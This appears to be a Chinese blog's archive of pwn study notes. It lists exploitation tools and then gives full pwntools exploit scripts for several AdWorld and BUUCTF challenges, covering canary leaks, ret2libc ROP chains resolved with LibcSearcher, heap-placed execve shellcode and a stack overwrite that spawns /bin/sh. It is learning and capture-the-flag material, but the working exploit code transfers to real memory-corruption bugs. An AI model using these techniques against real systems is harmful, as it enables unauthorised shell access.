分类目录归档:Pwn

Pwn学习总结(1):工具篇

虽然之前已经了解了一些Pwn。但根据需要,最近需要系统的学习一遍Pwn。经权威人士推荐,选择“Linux下pwn从入门到放弃”进行再次入门。
本学习总结根据该参考资料及个人经验重新总结整理。

需要用到的工具包括:
(1)gdb:GNU gcc调试器
(2)peda/gef/gdbinit:美化gdb命令行界面的脚本,同时可以扩展gdb的命令,可以参考[2]
(3)pwntools: python的一个pwn库,提供了很多封装过的用于pwn的函数
(4)checksec: 查询ELF程序的各类保护措施及程序的运行平台
(5)objdump/readelf: 查询ELF各节的关键信息
(6)IDA Pro: “全世界首屈一指”的反编译工具
(7)ROPgadget: ROP(Return-Oriented Programming)利用工具
(8)one_gadget: 快速寻找libc中的 execve(“/bin/sh”, * 的位置
(9)LibcSearcher: 非常方便的通过libc泄漏函数偏移地址和函数名查询libc版本及其他函数地址的python库

参考资料:
[1] Linux下pwn从入门到放弃 https://blog.csdn.net/niexinming/article/details/78814422
[2] https://github.com/bjrjk/GDBPlugins

AdWorld Pwn pwn1

Canary泄露入门题:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4598&page=1

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from pwn import *
from LibcSearcher import *
import os
context.log_level="debug"
context(arch="amd64",os="linux")

ROP_PopRdi = 0x400a93
ROP_Ret = 0x40067e
ADDR_GOT_read = 0x600FD0
ADDR_PLT_puts = 0x400690
ADDR_SYM_main = 0x400908

p = remote("111.198.29.45",38563)
#p = process("./babystack")
p.sendlineafter(">> ","1")
payload1 = b'0'*0x88
p.sendline(payload1)
p.sendlineafter(">> ","2")
p.recvuntil("00\n")
canary = u64(b"\x00" + p.recv(7))

print(hex(canary))
p.sendlineafter(">> ","1")
payload2 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main)
p.sendline(payload2)
p.sendlineafter(">> ","3")

GOT_read = p.recvuntil("\n").split()[0]
for i in range(len(GOT_read),8):
    GOT_read += b'\x00'
GOT_read = u64(GOT_read)

libc = LibcSearcher("read",GOT_read)
ADDR_LibC_base = GOT_read - libc.dump("read")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
p.sendlineafter(">> ","1")
payload3 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_Ret) + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system)
p.sendline(payload3)
p.sendlineafter(">> ","3")

p.interactive()

AdWorld Pwn pwn-200

学了64位的ROPGadgets就把32位咋传参的搞忘了???
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4847&page=1

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from pwn import *
from LibcSearcher import *
import time
context.log_level="debug"
context(arch="amd64",os="linux")

z = remote('111.198.29.45',49363)
z.recvuntil("Welcome to XDCTF2015~!\n")
elf = ELF("./pwn")
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x80484be
payload = b'a'*0x6c + p32(0) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4) + b'a'*(0x100-6*4-0x6c)
z.send(payload)
read_addr = u32(z.recv(4))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)
libc_addr = read_addr - libc.dump('read')
sys_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
payload2 = b'a'*0x6c + p32(0) + p32(sys_addr) + p32(0) + p32(binsh_addr) + b'a'*(0x100-4*4-0x6c)
z.send(payload2)
z.interactive()

有两点要注意:一个是read函数会不多不少的读入给定的字节数,不需要换行,如果多打了换行是会算到下一个read里的。
(更新:用换行可以提前结束read函数,且这个换行符会被读入)
还有一个问题是又和64位搞混了。把栈布局成了write_plt,1,read_got,4,main_addr的结构。这是错误的。栈应该如下布置:call_function,return_function,var_1,var_2,…

AdWorld Pwn note-service2

新接触的一道题,新题型。。
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4611&page=1
Writeup: https://adworld.xctf.org.cn/media/uploads/writeup/ee65882803c511ea9f5700163e004e93.pdf
开眼23333。。。

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from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

def create(p,index,size,content):
    p.sendlineafter("your choice>> ","1")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete(p,index):
    p.sendlineafter("your choice>> ","4")
    p.sendlineafter("index:",str(index))

p = remote("111.198.29.45",34191)
#p = process("./1")

ASM = []
ASM.append(asm("xor rax,rax") + b"\x90\x90\xeb\x19")
ASM.append(asm("mov eax,0x3b") + b"\xeb\x19")
ASM.append(asm("xor rsi,rsi") + b"\x90\x90\xeb\x19")
ASM.append(asm("xor rdx,rdx") + b"\x90\x90\xeb\x19")
ASM.append(asm("syscall") + b"\x90\x90\x90\x90\x90")

for i in range(0,5):
    create(p,i,8,ASM[i])
delete(p,0)
create(p,-8,8,ASM[0])
p.sendlineafter("your choice>> ","/bin/sh")

p.interactive()

附上i64db:
1f10c9df3d784b5ba04b205c1610a11e

CTF Pwn AdWorld stack2

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4695&page=1
新颖题型:

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from pwn import *
context.log_level="debug"
context(arch="amd64",os="linux")

def change(p,offset,num):
    p.sendline("3")
    p.sendline(str(offset))
    p.sendline(str(num))

p = remote("111.198.29.45",48634)
p.sendline("0")

off = 0x84
system_addr = 0x8048450
sh_addr = 0x8048987

for i in range(0,4):
    change(p,off+i,system_addr&0xFF)
    system_addr>>=8

off += 8
for i in range(0,4):
    change(p,off+i,sh_addr&0xFF)
    sh_addr>>=8

p.sendline("5")
p.interactive()

BUUCTF Pwn ciscn_2019_c_1

本题涉及了栈对齐问题,这个pwn在ubuntu18上运行,调用system的时候需要加1个retn来去补齐,目前不知道具体的原因。经实验再多加4个retn也可,可知这个栈对齐是32字节的。

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from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

pop_rdi = 0x0000000000400c83
puts_got_addr = 0x602020
puts_plt_addr = 0x4006e0
encrypt_sym_addr = 0x4009A0
ret = 0x4006b9

#p = remote("node3.buuoj.cn",28578)
p=process("./ciscn_2019_c_1")
p.sendline("1")
payload=b'0'*0x50+p64(0)+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(encrypt_sym_addr)
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")

GOT_puts=p.recvuntil("\n").split()[0]
print(GOT_puts)
for i in range(len(GOT_puts),8):
    GOT_puts += b'\x00'
GOT_puts = u64(GOT_puts)

libc = LibcSearcher("puts",GOT_puts)
ADDR_LibC_base = GOT_puts - libc.dump("puts")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
payload=b'0'*0x50+p64(0)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(pop_rdi)+p64(ADDR_String_Sh)+p64(ADDR_system) # 删去4个retn也可
p.sendline(payload)

p.interactive()